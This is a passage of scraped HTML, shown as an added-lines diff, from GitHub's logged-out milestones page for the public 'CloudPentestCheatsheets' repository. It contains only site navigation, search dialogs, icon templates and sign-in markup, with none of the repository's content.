     631 + focus:query-builder#inputFocus
     632 + " data-view-component="true" class="FormControl-input QueryBuilder-Input FormControl-medium" />
     633 + </div>
     634 + </div>
     635 + <span class="sr-only" id="query-builder-test-clear">Clear</span>
     636 +
     637 + <button role="button" id="query-builder-test-clear-button" aria-labelledby="query-builder-test-clear query-builder-test-label" data-target="query-builder.clearButton" data-action="
     638 + click:query-builder#clear
     639 + focus:query-builder#clearButtonFocus
     640 + blur:query-builder#clearButtonBlur
     641 + " variant="small" hidden="hidden" type="button" data-view-component="true" class="Button Button--iconOnly Button--invisible Button--medium mr-1 px-2 py-0 d-flex flex-items-center rounded-1 color-fg-muted"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill Button-visual">
     642 + <path d="M2.343 13.657A8 8 0 1 1 13.658 2.343 8 8 0 0 1 2.343 13.657ZM6.03 4.97a.751.751 0 0 0-1.042.018.751.751 0 0 0-.018 1.042L6.94 8 4.97 9.97a.749.749 0 0 0 .326 1.275.749.749 0 0 0 .734-.215L8 9.06l1.97 1.97a.749.749 0 0 0 1.275-.326.749.749 0 0 0-.215-.734L9.06 8l1.97-1.97a.749.749 0 0 0-.326-1.275.749.749 0 0 0-.734.215L8 6.94Z"></path>
     643 +</svg>
     644 +</button>
     645 + 
     646 + </div>
     647 + <template id="search-icon">
     648 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search">
     649 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     650 +</svg>
     651 +</template>
     652 + 
     653 +<template id="code-icon">
     654 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code">
     655 + <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path>
     656 +</svg>
     657 +</template>
     658 + 
     659 +<template id="file-code-icon">
     660 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-code">
     661 + <path d="M4 1.75C4 .784 4.784 0 5.75 0h5.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v8.586A1.75 1.75 0 0 1 14.25 15h-9a.75.75 0 0 1 0-1.5h9a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 10 4.25V1.5H5.75a.25.25 0 0 0-.25.25v2.5a.75.75 0 0 1-1.5 0Zm1.72 4.97a.75.75 0 0 1 1.06 0l2 2a.75.75 0 0 1 0 1.06l-2 2a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734l1.47-1.47-1.47-1.47a.75.75 0 0 1 0-1.06ZM3.28 7.78 1.81 9.25l1.47 1.47a.751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018l-2-2a.75.75 0 0 1 0-1.06l2-2a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Zm8.22-6.218V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path>
     662 +</svg>
     663 +</template>
     664 + 
     665 +<template id="history-icon">
     666 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history">
     667 + <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path>
     668 +</svg>
     669 +</template>
     670 + 
     671 +<template id="repo-icon">
     672 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo">
     673 + <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path>
     674 +</svg>
     675 +</template>
     676 + 
     677 +<template id="bookmark-icon">
     678 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bookmark">
     679 + <path d="M3 2.75C3 1.784 3.784 1 4.75 1h6.5c.966 0 1.75.784 1.75 1.75v11.5a.75.75 0 0 1-1.227.579L8 11.722l-3.773 3.107A.751.751 0 0 1 3 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.91l3.023-2.489a.75.75 0 0 1 .954 0l3.023 2.49V2.75a.25.25 0 0 0-.25-.25Z"></path>
     680 +</svg>
     681 +</template>
     682 + 
     683 +<template id="plus-circle-icon">
     684 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus-circle">
     685 + <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm7.25-3.25v2.5h2.5a.75.75 0 0 1 0 1.5h-2.5v2.5a.75.75 0 0 1-1.5 0v-2.5h-2.5a.75.75 0 0 1 0-1.5h2.5v-2.5a.75.75 0 0 1 1.5 0Z"></path>
     686 +</svg>
     687 +</template>
     688 + 
     689 +<template id="circle-icon">
     690 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-dot-fill">
     691 + <path d="M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z"></path>
     692 +</svg>
     693 +</template>
     694 + 
     695 +<template id="trash-icon">
     696 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-trash">
     697 + <path d="M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15ZM6.5 1.75V3h3V1.75a.25.25 0 0 0-.25-.25h-2.5a.25.25 0 0 0-.25.25Z"></path>
     698 +</svg>
     699 +</template>
     700 + 
     701 +<template id="team-icon">
     702 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-people">
     703 + <path d="M2 5.5a3.5 3.5 0 1 1 5.898 2.549 5.508 5.508 0 0 1 3.034 4.084.75.75 0 1 1-1.482.235 4 4 0 0 0-7.9 0 .75.75 0 0 1-1.482-.236A5.507 5.507 0 0 1 3.102 8.05 3.493 3.493 0 0 1 2 5.5ZM11 4a3.001 3.001 0 0 1 2.22 5.018 5.01 5.01 0 0 1 2.56 3.012.749.749 0 0 1-.885.954.752.752 0 0 1-.549-.514 3.507 3.507 0 0 0-2.522-2.372.75.75 0 0 1-.574-.73v-.352a.75.75 0 0 1 .416-.672A1.5 1.5 0 0 0 11 5.5.75.75 0 0 1 11 4Zm-5.5-.5a2 2 0 1 0-.001 3.999A2 2 0 0 0 5.5 3.5Z"></path>
     704 +</svg>
     705 +</template>
     706 + 
     707 +<template id="project-icon">
     708 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project">
     709 + <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path>
     710 +</svg>
     711 +</template>
     712 + 
     713 +<template id="pencil-icon">
     714 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-pencil">
     715 + <path d="M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 0 1-.927-.928l.929-3.25c.081-.286.235-.547.445-.758l8.61-8.61Zm.176 4.823L9.75 4.81l-6.286 6.287a.253.253 0 0 0-.064.108l-.558 1.953 1.953-.558a.253.253 0 0 0 .108-.064Zm1.238-3.763a.25.25 0 0 0-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 0 0 0-.354Z"></path>
     716 +</svg>
     717 +</template>
     718 + 
     719 + <div class="position-relative">
     720 + <ul
     721 + role="listbox"
     722 + class="ActionListWrap QueryBuilder-ListWrap"
     723 + aria-label="Suggestions"
     724 + data-action="
     725 + combobox-commit:query-builder#comboboxCommit
     726 + mousedown:query-builder#resultsMousedown
     727 + "
     728 + data-target="query-builder.resultsList"
     729 + data-persist-list=false
     730 + id="query-builder-test-results"
     731 + ></ul>
     732 + </div>
     733 + </div>
     734 + <div data-target="query-builder.screenReaderFeedback" aria-live="polite" aria-atomic="true" class="sr-only"></div>
     735 +</query-builder></form>
     736 + <div class="d-flex flex-row color-fg-muted px-3 text-small color-bg-default search-feedback-prompt">
     737 + <a target="_blank" href="https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax" data-view-component="true" class="color-fg-accent text-normal ml-2">
     738 + Search syntax tips
     739 +</a> <div class="d-flex flex-1"></div>
     740 + </div>
     741 + </div>
     742 +</div>
     743 + 
     744 + </div>
     745 +</modal-dialog></div>
     746 + </div>
     747 + <div data-action="click:qbsearch-input#retract" class="dark-backdrop position-fixed" hidden data-target="qbsearch-input.darkBackdrop"></div>
     748 + <div class="color-fg-default">
     749 +
     750 +<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay>
     751 + <modal-dialog data-target="qbsearch-input.feedbackDialog" data-action="close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose" role="dialog" id="feedback-dialog" aria-modal="true" aria-disabled="true" aria-describedby="feedback-dialog-title feedback-dialog-description" data-view-component="true" class="Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade">
     752 + <div data-view-component="true" class="Overlay-header">
     753 + <div class="Overlay-headerContentWrap">
     754 + <div class="Overlay-titleWrap">
     755 + <h1 class="Overlay-title " id="feedback-dialog-title">
     756 + Provide feedback
     757 + </h1>
     758 + </div>
     759 + <div class="Overlay-actionWrap">
     760 + <button data-close-dialog-id="feedback-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     761 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     762 +</svg></button>
     763 + </div>
     764 + </div>
     765 +</div>
     766 + <div data-view-component="true" class="Overlay-body"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="code-search-feedback-form" data-turbo="false" action="/search/feedback" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="M569MV6OtX7ZP2vVGrdKInvApqt1VbIsjzhiOYb9HJd9z4q84aI/bVSAX9988wYVomB0ShCriYoBwTwzHv/9tg==" />
     767 + <p>We read every piece of feedback, and take your input very seriously.</p>
     768 + <textarea name="feedback" class="form-control width-full mb-2" style="height: 120px" id="feedback"></textarea>
     769 + <input name="include_email" id="include_email" aria-label="Include my email address so I can be contacted" class="form-control mr-2" type="checkbox">
     770 + <label for="include_email" style="font-weight: normal">Include my email address so I can be contacted</label>
     771 +</form></div>
     772 + <div data-view-component="true" class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="feedback-dialog" type="button" data-view-component="true" class="btn"> Cancel
     773 +</button>
     774 + <button form="code-search-feedback-form" data-action="click:qbsearch-input#submitFeedback" type="submit" data-view-component="true" class="btn-primary btn"> Submit feedback
     775 +</button>
     776 +</div>
     777 +</modal-dialog></div>
     778 + 
     779 + <custom-scopes data-target="qbsearch-input.customScopesManager">
     780 +
     781 +<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay>
     782 + <modal-dialog data-target="custom-scopes.customScopesModalDialog" data-action="close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose" role="dialog" id="custom-scopes-dialog" aria-modal="true" aria-disabled="true" aria-describedby="custom-scopes-dialog-title custom-scopes-dialog-description" data-view-component="true" class="Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade">
     783 + <div data-view-component="true" class="Overlay-header Overlay-header--divided">
     784 + <div class="Overlay-headerContentWrap">
     785 + <div class="Overlay-titleWrap">
     786 + <h1 class="Overlay-title " id="custom-scopes-dialog-title">
     787 + Saved searches
     788 + </h1>
     789 + <h2 id="custom-scopes-dialog-description" class="Overlay-description">Use saved searches to filter your results more quickly</h2>
     790 + </div>
     791 + <div class="Overlay-actionWrap">
     792 + <button data-close-dialog-id="custom-scopes-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     793 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     794 +</svg></button>
     795 + </div>
     796 + </div>
     797 +</div>
     798 + <div data-view-component="true" class="Overlay-body"> <div data-target="custom-scopes.customScopesModalDialogFlash"></div>
     799 + 
     800 + <div hidden class="create-custom-scope-form" data-target="custom-scopes.createCustomScopeForm">
     801 + <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="custom-scopes-dialog-form" data-turbo="false" action="/search/custom_scopes" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="Qby6Otv7I3pI+imBCoR2LFgqBlEWJUztObg2rG7DCFyWu1ijONioCV+ZjqhazjchrnGzvxDY8w+myZQS2Fq/Ag==" />
     802 + <div data-target="custom-scopes.customScopesModalDialogFlash"></div>
     803 + 
     804 + <input type="hidden" id="custom_scope_id" name="custom_scope_id" data-target="custom-scopes.customScopesIdField">
     805 + 
     806 + <div class="form-group">
     807 + <label for="custom_scope_name">Name</label>
     808 + <auto-check src="/search/custom_scopes/check_name" required>
     809 + <input
     810 + type="text"
     811 + name="custom_scope_name"
     812 + id="custom_scope_name"
     813 + data-target="custom-scopes.customScopesNameField"
     814 + class="form-control"
     815 + autocomplete="off"
     816 + placeholder="github-ruby"
     817 + required
     818 + maxlength="50">
     819 + <input type="hidden" data-csrf="true" value="6B0ls/OJO87ue5aLnnKLdGLjpWXwz+r1nyLfq0yEf01goIQkXw9GMS6gK/YgWJleUIpwvuso29jWL6wyqFiKsA==" />
     820 + </auto-check>
     821 + </div>
     822 + 
     823 + <div class="form-group">
     824 + <label for="custom_scope_query">Query</label>
     825 + <input
     826 + type="text"
     827 + name="custom_scope_query"
     828 + id="custom_scope_query"
     829 + data-target="custom-scopes.customScopesQueryField"
     830 + class="form-control"
     831 + autocomplete="off"
     832 + placeholder="(repo:mona/a OR repo:mona/b) AND lang:python"
     833 + required
     834 + maxlength="500">
     835 + </div>
     836 + 
     837 + <p class="text-small color-fg-muted">
     838 + To see all available qualifiers, see our <a href="https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax">documentation</a>.
     839 + </p>
     840 +</form> </div>
     841 + 
     842 + <div data-target="custom-scopes.manageCustomScopesForm">
     843 + <div data-target="custom-scopes.list"></div>
     844 + </div>
     845 + 
     846 +</div>
     847 + <div data-view-component="true" class="Overlay-footer Overlay-footer--alignEnd Overlay-footer--divided"> <button data-action="click:custom-scopes#customScopesCancel" type="button" data-view-component="true" class="btn"> Cancel
     848 +</button>
     849 + <button form="custom-scopes-dialog-form" data-action="click:custom-scopes#customScopesSubmit" data-target="custom-scopes.customScopesSubmitButton" type="submit" data-view-component="true" class="btn-primary btn"> Create saved search
     850 +</button>
     851 +</div>
     852 +</modal-dialog></div>
     853 + </custom-scopes>
     854 + </div>
     855 +</qbsearch-input><input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="EOBTT2HE5/GHtQnJ7H10tuebKAwrxIHEgEzbyhcQI1rZ+qPQ4885vsKqjHmC9SAXLg3RFK9R5yiT//+7ez6v7Q==" />
     856 + 
     857 + 
     858 + <div class="position-relative mr-lg-3 d-lg-inline-block">
     859 + <a href="/login?return_to=https%3A%2F%2Fgithub.com%2Fdafthack%2FCloudPentestCheatsheets%2Fmilestones"
     860 + class="HeaderMenu-link HeaderMenu-link--sign-in flex-shrink-0 no-underline d-block d-lg-inline-block border border-lg-0 rounded rounded-lg-0 p-2 p-lg-0"
     861 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="ccdd25113fa5b76d1514fb926732b0de63f1f3ba71420b1111ae38e5282e63db"
     862 + data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">
     863 + Sign in
     864 + </a>
     865 + </div>
     866 + 
     867 + <a href="/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fmilestones%2Findex&amp;source=header-repo&amp;source_repo=dafthack%2FCloudPentestCheatsheets"
     868 + class="HeaderMenu-link HeaderMenu-link--sign-up flex-shrink-0 d-none d-lg-inline-block no-underline border color-border-default rounded px-2 py-1"
     869 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="ccdd25113fa5b76d1514fb926732b0de63f1f3ba71420b1111ae38e5282e63db"
     870 + data-analytics-event="{&quot;category&quot;:&quot;Sign up&quot;,&quot;action&quot;:&quot;click to sign up for account&quot;,&quot;label&quot;:&quot;ref_page:/&lt;user-name&gt;/&lt;repo-name&gt;/milestones/index;ref_cta:Sign up;ref_loc:header logged out&quot;}"
     871 + >
     872 + Sign up
     873 + </a>
     874 + </div>
     875 + </div>
     876 + </div>
     877 + </div>
     878 +</header>
     879 + 
     880 + <div hidden="hidden" data-view-component="true" class="js-stale-session-flash flash flash-warn mb-3">
     881 +
     882 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
     883 + <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     884 +</svg>
     885 + <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
     886 + <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
     887 + <span class="js-stale-session-flash-switched" hidden>You switched accounts on another tab or window. <a href="">Reload</a> to refresh your session.</span>
     888 + 
     889 + <button class="flash-close js-flash-close" type="button" aria-label="Close">
     890 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     891 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     892 +</svg>
     893 + </button>
     894 + 
     895 +
     896 +</div>
     897 + </div>
     898 + 
     899 + <div id="start-of-content" class="show-on-focus"></div>
     900 + 
     901 + 
     902 + 
     903 + 
     904 + 
     905 + 
     906 + 
     907 + 
     908 + <div id="js-flash-container" data-turbo-replace>
     909 + 
     910 + 
     911 + 
     912 + 
     913 + 
     914 + <template class="js-flash-template">
     915 +
     916 +<div class="flash flash-full {{ className }}">
     917 + <div class="px-2" >
     918 + <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message">
     919 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     920 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     921 +</svg>
     922 + </button>
     923 + <div aria-atomic="true" role="alert" class="js-flash-alert">
     924 +
     925 + <div>{{ message }}</div>
     926 + 
     927 + </div>
     928 + </div>
     929 +</div>
     930 + </template>
     931 +</div>
     932 + 
     933 + 
     934 +
     935 + <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
     936 + 
     937 + 
     938 + 
     939 + 
     940 + 
     941 + 
     942 + <div
     943 + class="application-main "
     944 + data-commit-hovercards-enabled
     945 + data-discussion-hovercards-enabled
     946 + data-issue-and-pr-hovercards-enabled
     947 + >
     948 + <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class="">
     949 + <main id="js-repo-pjax-container" >
     950 +
     951 +
     952 + 
     953 +
     954 + 
     955 + 
     956 + 
     957 + 
     958 + 
     959 + 
     960 +
     961 + <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
     962 + 
     963 + <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
     964 + 
     965 + <div class="flex-auto min-width-0 width-fit mr-3">
     966 +
     967 + <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal">
     968 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2">
     969 + <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path>
     970 +</svg>
     971 +
     972 + <span class="author flex-self-stretch" itemprop="author">
     973 + <a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/users/dafthack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/dafthack">
     974 + dafthack
     975 +</a> </span>
     976 + <span class="mx-1 flex-self-stretch color-fg-muted">/</span>
     977 + <strong itemprop="name" class="mr-2 flex-self-stretch">
     978 + <a data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" href="/dafthack/CloudPentestCheatsheets">CloudPentestCheatsheets</a>
     979 + </strong>
     980 + 
     981 + <span></span><span class="Label Label--secondary v-align-middle mr-1">Public</span>
     982 + </div>
     983 + 
     984 + 
     985 + </div>
     986 + 
     987 + <div id="repository-details-container" data-turbo-replace>
     988 + <ul class="pagehead-actions flex-shrink-0 d-none d-md-inline" style="padding: 2px 0;">
     989 +
     990 +
     991 + 
     992 + <li>
     993 + <a href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;notification subscription menu watch&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="c9de938fc2b20f9bfe8594111fee268a6b7596085004f207843567ab261b47a0" aria-label="You must be signed in to change notification settings" data-view-component="true" class="tooltipped tooltipped-s btn-sm btn"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2">
     994 + <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path>
     995 +</svg>Notifications
     996 +</a>
     997 + </li>
     998 + 
     999 + <li>
     1000 + <a icon="repo-forked" id="fork-button" href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;repo details fork button&quot;,&quot;repository_id&quot;:271670262,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="6a8b0b72cd9c00ddb1071724276f899040cbbd94a3e68487cb5151ac1c03a7ac" data-view-component="true" class="btn-sm btn"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2">
